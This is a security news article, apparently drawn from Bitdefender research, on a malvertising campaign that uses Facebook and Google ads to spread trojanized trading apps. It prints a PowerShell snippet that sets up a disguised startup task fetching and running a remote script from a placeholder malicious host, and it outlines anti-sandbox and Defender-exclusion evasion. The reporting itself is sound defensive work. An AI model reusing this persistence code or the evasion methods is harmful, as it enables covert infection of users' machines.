Threat Actors Weaponizing Facebook and Google Ads as Financial Platforms to Steal Sensitive Data
Recent findings indicate that malicious actors are exploiting Facebook and Google advertising channels to impersonate legitimate financial services. These threat actors have been distributing trojanized applications by promoting access to well-known…
Recent findings indicate that malicious actors are exploiting Facebook and Google advertising channels to impersonate legitimate financial services. These threat actors have been distributing trojanized applications by promoting access to well-known trading platforms.
The social engineering tactics employed in this campaign utilize familiar branding and verified badges to create an appearance of authenticity. Victims are redirected through paid ad placements to obfuscated payloads that evade automated and manual reviews.
Initial infections usually commence with interactions with Facebook Ads offering “one-year free access” to premium charting tools. Users are led to landing pages hosting customized service worker scripts, encrypted with AES-CBC and delivered via StreamSaver.js, to install malicious software disguised as legitimate executables.
The downloaded loader, sometimes exceeding 700 MB, includes anti-sandbox checks, ensuring it only executes on non-virtualized environments. Once these checks are passed, a multi-stage download process begins.
According to Bitdefender analysts , after breaching initial defenses, the malware switches to a WebSocket communication channel on port 30000, shifting from the previously used HTTP-based method. The threat actors employ encrypted front-end JavaScript with a runtime deobfuscation routine to construct the final payload.
Recent findings indicate that malicious actors are exploiting Facebook and Google advertising channels to impersonate legitimate financial services.
This approach complicates static analysis and forensic investigations. Successful execution results in the creation of a persistent Scheduled Task named EdgeResourcesInstallerV12-issg , which downloads and executes PowerShell scripts through Invoke-Expression . This task ensures reinfection upon system restart and modifies Windows Defender settings to exclude its payload directories.
$action = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "Invoke-Expression $(Invoke-WebRequest -UseBasicParsing https://malicious-domain.com/next.ps1)"' $trigger = New-ScheduledTaskTrigger -AtStartup Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'EdgeResourcesInstallerV12-issg' -Description 'Windows Edge resources updater'
The infection mechanism involves a sophisticated downloader component utilizing service worker APIs and web tracking frameworks to integrate malicious operations with legitimate analytics tools.
By using event tracking through PostHog, alongside third-party pixels such as Facebook Pixel, Google Ads Conversion Tracking, and Microsoft Ads Pixel, the front-end application monitors user behavior. This telemetry allows operators to selectively deploy malicious content to high-value targets while serving benign pages to others.
Upon user download initiation, the service worker intercepts the request, decrypts and deobfuscates the payload, then streams the binary through StreamSaver.js to the file system, bypassing traditional browser download safeguards.
This delivery mechanism, combined with domain rotation and language-specific ads, facilitates rapid, widespread distribution while maintaining a low profile.
Based on reporting by Cyber Security News.